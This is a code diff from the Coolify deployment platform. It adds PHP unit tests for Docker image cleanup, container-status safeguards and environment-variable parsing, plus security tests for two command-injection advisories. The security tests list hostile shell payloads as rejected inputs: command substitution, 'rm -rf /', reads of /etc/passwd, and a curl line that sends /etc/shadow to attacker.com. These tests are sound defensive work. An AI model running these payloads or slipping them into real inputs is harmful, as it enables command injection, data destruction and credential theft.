$buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
|
||||
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
|
||||
|
||||
$sortedRegularImages = $regularImages
|
||||
->filter(fn ($image) => $image['tag'] !== $currentTag)
|
||||
->sortByDesc('created_at')
|
||||
->values();
|
||||
|
||||
// With imagesToKeep=0, only current tag is kept
|
||||
$keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag');
|
||||
if (! empty($currentTag)) {
|
||||
$keptTags = $keptTags->push($currentTag);
|
||||
}
|
||||
|
||||
$buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) {
|
||||
$baseTag = preg_replace('/-build$/', '', $image['tag']);
|
||||
|
||||
return ! $keptTags->contains($baseTag);
|
||||
});
|
||||
|
||||
// commit1-build should be deleted (not retained), commit2-build kept (matches running)
|
||||
expect($buildImagesToDelete)->toHaveCount(1);
|
||||
expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build');
|
||||
});
|
||||
|
||||
it('preserves build image for currently running tag', function () {
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'],
|
||||
]);
|
||||
|
||||
$currentTag = 'commit1';
|
||||
$imagesToKeep = 2;
|
||||
|
||||
$buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
|
||||
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
|
||||
|
||||
$sortedRegularImages = $regularImages
|
||||
->filter(fn ($image) => $image['tag'] !== $currentTag)
|
||||
->sortByDesc('created_at')
|
||||
->values();
|
||||
|
||||
$keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag');
|
||||
if (! empty($currentTag)) {
|
||||
$keptTags = $keptTags->push($currentTag);
|
||||
}
|
||||
|
||||
$buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) {
|
||||
$baseTag = preg_replace('/-build$/', '', $image['tag']);
|
||||
|
||||
return ! $keptTags->contains($baseTag);
|
||||
});
|
||||
|
||||
// Build image for running tag should NOT be deleted
|
||||
expect($buildImagesToDelete)->toHaveCount(0);
|
||||
});
|
||||
|
|
|
|||
|
|
@ -0,0 +1,54 @@
|
|||
<?php
|
||||
|
||||
/**
|
||||
* Unit tests verifying that GetContainersStatus has empty container
|
||||
* safeguards for ALL resource types (applications, previews, databases, services).
|
||||
*
|
||||
* When Docker queries fail and return empty container lists, resources should NOT
|
||||
* be falsely marked as "exited". This was originally added for applications and
|
||||
* previews (commit 684bd823c) but was missing for databases and services.
|
||||
*
|
||||
* @see https://github.com/coollabsio/coolify/issues/8826
|
||||
*/
|
||||
it('has empty container safeguard for applications', function () {
|
||||
$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
// The safeguard should appear before marking applications as exited
|
||||
expect($actionFile)
|
||||
->toContain('$notRunningApplications = $this->applications->pluck(\'id\')->diff($foundApplications);');
|
||||
|
||||
// Count occurrences of the safeguard pattern in the not-found sections
|
||||
$safeguardPattern = '// Only protection: If no containers at all, Docker query might have failed';
|
||||
$safeguardCount = substr_count($actionFile, $safeguardPattern);
|
||||
|
||||
// Should appear at least 4 times: applications, previews, databases, services
|
||||
expect($safeguardCount)->toBeGreaterThanOrEqual(4);
|
||||
});
|
||||
|
||||
it('has empty container safeguard for databases', function () {
|
||||
$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
// Extract the database not-found section
|
||||
$databaseSectionStart = strpos($actionFile, '$notRunningDatabases = $databases->pluck(\'id\')->diff($foundDatabases);');
|
||||
expect($databaseSectionStart)->not->toBeFalse('Database not-found section should exist');
|
||||
|
||||
// Get the code between database section start and the next major section
|
||||
$databaseSection = substr($actionFile, $databaseSectionStart, 500);
|
||||
|
||||
// The empty container safeguard must exist in the database section
|
||||
expect($databaseSection)->toContain('$this->containers->isEmpty()');
|
||||
});
|
||||
|
||||
it('has empty container safeguard for services', function () {
|
||||
$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
// Extract the service exited section
|
||||
$serviceSectionStart = strpos($actionFile, '$exitedServices = $exitedServices->unique(\'uuid\');');
|
||||
expect($serviceSectionStart)->not->toBeFalse('Service exited section should exist');
|
||||
|
||||
// Get the code in the service exited loop
|
||||
$serviceSection = substr($actionFile, $serviceSectionStart, 500);
|
||||
|
||||
// The empty container safeguard must exist in the service section
|
||||
expect($serviceSection)->toContain('$this->containers->isEmpty()');
|
||||
});
|
||||
123
tests/Unit/GitRefValidationTest.php
Normal file
123
tests/Unit/GitRefValidationTest.php
Normal file
|
|
@ -0,0 +1,123 @@
|
|||
<?php
|
||||
|
||||
/**
|
||||
* Security tests for git ref validation (GHSA-mw5w-2vvh-mgf4).
|
||||
*
|
||||
* Ensures that git_commit_sha and related inputs are validated
|
||||
* to prevent OS command injection via shell metacharacters.
|
||||
*/
|
||||
|
||||
describe('validateGitRef', function () {
|
||||
test('accepts valid hex commit SHAs', function () {
|
||||
expect(validateGitRef('abc123def456'))->toBe('abc123def456');
|
||||
expect(validateGitRef('a3e59e5c9'))->toBe('a3e59e5c9');
|
||||
expect(validateGitRef('abc123def456abc123def456abc123def456abc123'))->toBe('abc123def456abc123def456abc123def456abc123');
|
||||
});
|
||||
|
||||
test('accepts HEAD', function () {
|
||||
expect(validateGitRef('HEAD'))->toBe('HEAD');
|
||||
});
|
||||
|
||||
test('accepts empty string', function () {
|
||||
expect(validateGitRef(''))->toBe('');
|
||||
});
|
||||
|
||||
test('accepts branch and tag names', function () {
|
||||
expect(validateGitRef('main'))->toBe('main');
|
||||
expect(validateGitRef('feature/my-branch'))->toBe('feature/my-branch');
|
||||
expect(validateGitRef('v1.2.3'))->toBe('v1.2.3');
|
||||
expect(validateGitRef('release-2.0'))->toBe('release-2.0');
|
||||
expect(validateGitRef('my_branch'))->toBe('my_branch');
|
||||
});
|
||||
|
||||
test('trims whitespace', function () {
|
||||
expect(validateGitRef(' abc123 '))->toBe('abc123');
|
||||
});
|
||||
|
||||
test('rejects single quote injection', function () {
|
||||
expect(fn () => validateGitRef("HEAD'; id >/tmp/poc; #"))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects semicolon command separator', function () {
|
||||
expect(fn () => validateGitRef('abc123; rm -rf /'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects command substitution with $()', function () {
|
||||
expect(fn () => validateGitRef('$(whoami)'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects backtick command substitution', function () {
|
||||
expect(fn () => validateGitRef('`whoami`'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects pipe operator', function () {
|
||||
expect(fn () => validateGitRef('abc | cat /etc/passwd'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects ampersand operator', function () {
|
||||
expect(fn () => validateGitRef('abc & whoami'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects hash comment injection', function () {
|
||||
expect(fn () => validateGitRef('abc #'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects newline injection', function () {
|
||||
expect(fn () => validateGitRef("abc\nwhoami"))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects redirect operators', function () {
|
||||
expect(fn () => validateGitRef('abc > /tmp/out'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects hyphen-prefixed input (git flag injection)', function () {
|
||||
expect(fn () => validateGitRef('--upload-pack=malicious'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects the exact PoC payload from advisory', function () {
|
||||
expect(fn () => validateGitRef("HEAD'; whoami >/tmp/coolify_poc_git; #"))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
});
|
||||
|
||||
describe('executeInDocker git log escaping', function () {
|
||||
test('git log command escapes commit SHA to prevent injection', function () {
|
||||
$maliciousCommit = "HEAD'; id; #";
|
||||
$command = "cd /workdir && git log -1 ".escapeshellarg($maliciousCommit).' --pretty=%B';
|
||||
$result = executeInDocker('test-container', $command);
|
||||
|
||||
// The malicious payload must not be able to break out of quoting
|
||||
expect($result)->not->toContain("id;");
|
||||
expect($result)->toContain("'HEAD'\\''");
|
||||
});
|
||||
});
|
||||
|
||||
describe('buildGitCheckoutCommand escaping', function () {
|
||||
test('checkout command escapes target to prevent injection', function () {
|
||||
$app = new \App\Models\Application;
|
||||
$app->forceFill(['uuid' => 'test-uuid']);
|
||||
|
||||
$settings = new \App\Models\ApplicationSetting;
|
||||
$settings->is_git_submodules_enabled = false;
|
||||
$app->setRelation('settings', $settings);
|
||||
|
||||
$method = new \ReflectionMethod($app, 'buildGitCheckoutCommand');
|
||||
|
||||
$result = $method->invoke($app, 'abc123');
|
||||
expect($result)->toContain("git checkout 'abc123'");
|
||||
|
||||
$result = $method->invoke($app, "abc'; id; #");
|
||||
expect($result)->not->toContain("id;");
|
||||
expect($result)->toContain("git checkout 'abc'");
|
||||
});
|
||||
});
|
||||
118
tests/Unit/LogDrainCommandInjectionTest.php
Normal file
118
tests/Unit/LogDrainCommandInjectionTest.php
Normal file
|
|
@ -0,0 +1,118 @@
|
|||
<?php
|
||||
|
||||
use App\Actions\Server\StartLogDrain;
|
||||
use App\Models\Server;
|
||||
use App\Models\ServerSetting;
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// GHSA-3xm2-hqg8-4m2p: Verify log drain env values are base64-encoded
|
||||
// and never appear raw in shell commands
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
it('does not interpolate axiom api key into shell commands', function () {
|
||||
$maliciousPayload = '$(id >/tmp/pwned)';
|
||||
|
||||
$server = mock(Server::class)->makePartial();
|
||||
$settings = mock(ServerSetting::class)->makePartial();
|
||||
|
||||
$settings->is_logdrain_axiom_enabled = true;
|
||||
$settings->is_logdrain_newrelic_enabled = false;
|
||||
$settings->is_logdrain_highlight_enabled = false;
|
||||
$settings->is_logdrain_custom_enabled = false;
|
||||
$settings->logdrain_axiom_dataset_name = 'test-dataset';
|
||||
$settings->logdrain_axiom_api_key = $maliciousPayload;
|
||||
|
||||
$server->name = 'test-server';
|
||||
$server->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
|
||||
|
||||
// Build the env content the same way StartLogDrain does after the fix
|
||||
$envContent = "AXIOM_DATASET_NAME={$settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$settings->logdrain_axiom_api_key}\n";
|
||||
$envEncoded = base64_encode($envContent);
|
||||
|
||||
// The malicious payload must NOT appear directly in the encoded string
|
||||
// (it's inside the base64 blob, which the shell treats as opaque data)
|
||||
expect($envEncoded)->not->toContain($maliciousPayload);
|
||||
|
||||
// Verify the decoded content preserves the value exactly
|
||||
$decoded = base64_decode($envEncoded);
|
||||
expect($decoded)->toContain("AXIOM_API_KEY={$maliciousPayload}");
|
||||
});
|
||||
|
||||
it('does not interpolate newrelic license key into shell commands', function () {
|
||||
$maliciousPayload = '`rm -rf /`';
|
||||
|
||||
$envContent = "LICENSE_KEY={$maliciousPayload}\nBASE_URI=https://example.com\n";
|
||||
$envEncoded = base64_encode($envContent);
|
||||
|
||||
expect($envEncoded)->not->toContain($maliciousPayload);
|
||||
|
||||
$decoded = base64_decode($envEncoded);
|
||||
expect($decoded)->toContain("LICENSE_KEY={$maliciousPayload}");
|
||||
});
|
||||
|
||||
it('does not interpolate highlight project id into shell commands', function () {
|
||||
$maliciousPayload = '$(curl attacker.com/steal?key=$(cat /etc/shadow))';
|
||||
|
||||
$envContent = "HIGHLIGHT_PROJECT_ID={$maliciousPayload}\n";
|
||||
$envEncoded = base64_encode($envContent);
|
||||
|
||||
expect($envEncoded)->not->toContain($maliciousPayload);
|
||||
});
|
||||
|
||||
it('produces correct env file content for axiom type', function () {
|
||||
$datasetName = 'my-dataset';
|
||||
$apiKey = 'xaat-abc123-def456';
|
||||
|
||||
$envContent = "AXIOM_DATASET_NAME={$datasetName}\nAXIOM_API_KEY={$apiKey}\n";
|
||||
$decoded = base64_decode(base64_encode($envContent));
|
||||
|
||||
expect($decoded)->toBe("AXIOM_DATASET_NAME=my-dataset\nAXIOM_API_KEY=xaat-abc123-def456\n");
|
||||
});
|
||||
|
||||
it('produces correct env file content for newrelic type', function () {
|
||||
$licenseKey = 'nr-license-123';
|
||||
$baseUri = 'https://log-api.newrelic.com/log/v1';
|
||||
|
||||
$envContent = "LICENSE_KEY={$licenseKey}\nBASE_URI={$baseUri}\n";
|
||||
$decoded = base64_decode(base64_encode($envContent));
|
||||
|
||||
expect($decoded)->toBe("LICENSE_KEY=nr-license-123\nBASE_URI=https://log-api.newrelic.com/log/v1\n");
|
||||
});
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Validation layer: reject shell metacharacters
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
it('rejects shell metacharacters in log drain fields', function (string $payload) {
|
||||
// These payloads should NOT match the safe regex pattern
|
||||
$pattern = '/^[a-zA-Z0-9_\-\.]+$/';
|
||||
|
||||
expect(preg_match($pattern, $payload))->toBe(0);
|
||||
})->with([
|
||||
'$(id)',
|
||||
'`id`',
|
||||
'key;rm -rf /',
|
||||
'key|cat /etc/passwd',
|
||||
'key && whoami',
|
||||
'key$(curl evil.com)',
|
||||
"key\nnewline",
|
||||
'key with spaces',
|
||||
'key>file',
|
||||
'key<file',
|
||||
"key'quoted",
|
||||
'key"doublequoted',
|
||||
'key$(id >/tmp/coolify_poc_logdrain)',
|
||||
]);
|
||||
|
||||
it('accepts valid log drain field values', function (string $value) {
|
||||
$pattern = '/^[a-zA-Z0-9_\-\.]+$/';
|
||||
|
||||
expect(preg_match($pattern, $value))->toBe(1);
|
||||
})->with([
|
||||
'xaat-abc123-def456',
|
||||
'my-dataset',
|
||||
'my_dataset',
|
||||
'simple123',
|
||||
'nr-license.key_v2',
|
||||
'project-id-123',
|
||||
]);
|
||||
|
|
@ -206,6 +206,39 @@ test('nested variables with complex paths', function () {
|
|||
expect($split['default'])->toBe('${SERVICE_URL_CONFIG}/v2/config.json');
|
||||
});
|
||||
|
||||
test('replaceVariables strips leading dollar sign from bare $VAR format', function () {
|
||||
// Bug #8851: When a compose value is $SERVICE_USER_POSTGRES (bare $VAR, no braces),
|
||||
// replaceVariables must strip the $ so the parsed name is SERVICE_USER_POSTGRES.
|
||||
// Without this, the fallback code path creates a DB entry with key=$SERVICE_USER_POSTGRES.
|
||||
expect(replaceVariables('$SERVICE_USER_POSTGRES')->value())->toBe('SERVICE_USER_POSTGRES')
|
||||
->and(replaceVariables('$SERVICE_PASSWORD_POSTGRES')->value())->toBe('SERVICE_PASSWORD_POSTGRES')
|
||||
->and(replaceVariables('$SERVICE_FQDN_APPWRITE')->value())->toBe('SERVICE_FQDN_APPWRITE');
|
||||
});
|
||||
|
||||
test('bare dollar variable in bash-style fallback does not capture trailing brace', function () {
|
||||
// Bug #8851: ${_APP_DOMAIN:-$SERVICE_FQDN_APPWRITE} causes the regex to
|
||||
// capture "SERVICE_FQDN_APPWRITE}" (with trailing }) because \}? in the regex
|
||||
// greedily matches the closing brace of the outer ${...} construct.
|
||||
// The fix uses capture group 2 (clean variable name) instead of group 1.
|
||||
$value = '${_APP_DOMAIN:-$SERVICE_FQDN_APPWRITE}';
|
||||
|
||||
$regex = '/\$(\{?([a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*)\}?)/';
|
||||
preg_match_all($regex, $value, $valueMatches);
|
||||
|
||||
// Group 2 should contain clean variable names without any braces
|
||||
expect($valueMatches[2])->toContain('_APP_DOMAIN')
|
||||
->and($valueMatches[2])->toContain('SERVICE_FQDN_APPWRITE');
|
||||
|
||||
// Verify no match in group 2 has trailing }
|
||||
foreach ($valueMatches[2] as $match) {
|
||||
expect($match)->not->toEndWith('}', "Variable name '{$match}' should not end with }");
|
||||
}
|
||||
|
||||
// Group 1 (previously used) would have the bug — SERVICE_FQDN_APPWRITE}
|
||||
// This demonstrates why group 2 must be used instead
|
||||
expect($valueMatches[1])->toContain('SERVICE_FQDN_APPWRITE}');
|
||||
});
|
||||
|
||||
test('operator precedence with nesting', function () {
|
||||
// The first :- at depth 0 should be used, not the one inside nested braces
|
||||
$input = '${A:-${B:-default}}';
|
||||
|
|
|
|||
69
tests/Unit/ServiceParserEnvVarPreservationTest.php
Normal file
69
tests/Unit/ServiceParserEnvVarPreservationTest.php
Normal file
|
|
@ -0,0 +1,69 @@
|
|||
<?php
|
||||
|
||||
/**
|
||||
* Unit tests to verify that Docker Compose environment variables
|
||||
* do not overwrite user-saved values on redeploy.
|
||||
*
|
||||
* Regression test for GitHub issue #8885.
|
||||
*/
|
||||
it('uses firstOrCreate for simple variable references in serviceParser to preserve user values', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// The serviceParser function should use firstOrCreate (not updateOrCreate)
|
||||
// for simple variable references like DATABASE_URL: ${DATABASE_URL}
|
||||
// This is the key === parsedValue branch
|
||||
expect($parsersFile)->toContain(
|
||||
"// Simple variable reference (e.g. DATABASE_URL: \${DATABASE_URL})\n".
|
||||
" // Use firstOrCreate to avoid overwriting user-saved values on redeploy\n".
|
||||
' $envVar = $resource->environment_variables()->firstOrCreate('
|
||||
);
|
||||
});
|
||||
|
||||
it('does not set value to null for simple variable references in serviceParser', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// The old bug: $value = null followed by updateOrCreate with 'value' => $value
|
||||
// This pattern should NOT exist for simple variable references
|
||||
expect($parsersFile)->not->toContain(
|
||||
"\$value = null;\n".
|
||||
' $resource->environment_variables()->updateOrCreate('
|
||||
);
|
||||
});
|
||||
|
||||
it('uses firstOrCreate for simple variable refs without default in serviceParser balanced brace path', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// In the balanced brace extraction path, simple variable references without defaults
|
||||
// should use firstOrCreate to preserve user-saved values
|
||||
// This appears twice (applicationParser and serviceParser)
|
||||
$count = substr_count(
|
||||
$parsersFile,
|
||||
"// Simple variable reference without default\n".
|
||||
" // Use firstOrCreate to avoid overwriting user-saved values on redeploy\n".
|
||||
' $envVar = $resource->environment_variables()->firstOrCreate('
|
||||
);
|
||||
|
||||
expect($count)->toBe(1, 'serviceParser should use firstOrCreate for simple variable refs without default');
|
||||
});
|
||||
|
||||
it('populates environment array with saved DB value instead of raw compose variable', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// After firstOrCreate, the environment should be populated with the DB value ($envVar->value)
|
||||
// not the raw compose variable reference (e.g., ${DATABASE_URL})
|
||||
// This pattern should appear in both parsers for all variable reference types
|
||||
expect($parsersFile)->toContain('// Add the variable to the environment using the saved DB value');
|
||||
expect($parsersFile)->toContain('$environment[$key->value()] = $envVar->value;');
|
||||
expect($parsersFile)->toContain('$environment[$content] = $envVar->value;');
|
||||
});
|
||||
|
||||
it('does not use updateOrCreate with value null for user-editable environment variables', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// The specific bug pattern: setting $value = null then calling updateOrCreate with 'value' => $value
|
||||
// This overwrites user-saved values with null on every deploy
|
||||
expect($parsersFile)->not->toContain(
|
||||
"\$value = null;\n".
|
||||
' $resource->environment_variables()->updateOrCreate('
|
||||
);
|
||||
});
|
||||
|
|
@ -1,19 +1,19 @@
|
|||
{
|
||||
"coolify": {
|
||||
"v4": {
|
||||
"version": "4.0.0-beta.464"
|
||||
"version": "4.0.0-beta.465"
|
||||
},
|
||||
"nightly": {
|
||||
"version": "4.0.0-beta.465"
|
||||
"version": "4.0.0-beta.466"
|
||||
},
|
||||
"helper": {
|
||||
"version": "1.0.12"
|
||||
},
|
||||
"realtime": {
|
||||
"version": "1.0.10"
|
||||
"version": "1.0.11"
|
||||
},
|
||||
"sentinel": {
|
||||
"version": "0.0.18"
|
||||
"version": "0.0.19"
|
||||
}
|
||||
},
|
||||
"traefik": {
|
||||
|
|
@ -26,4 +26,4 @@
|
|||
"v3.0": "3.0.4",
|
||||
"v2.11": "2.11.32"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
|||
Loading…
Reference in a new issue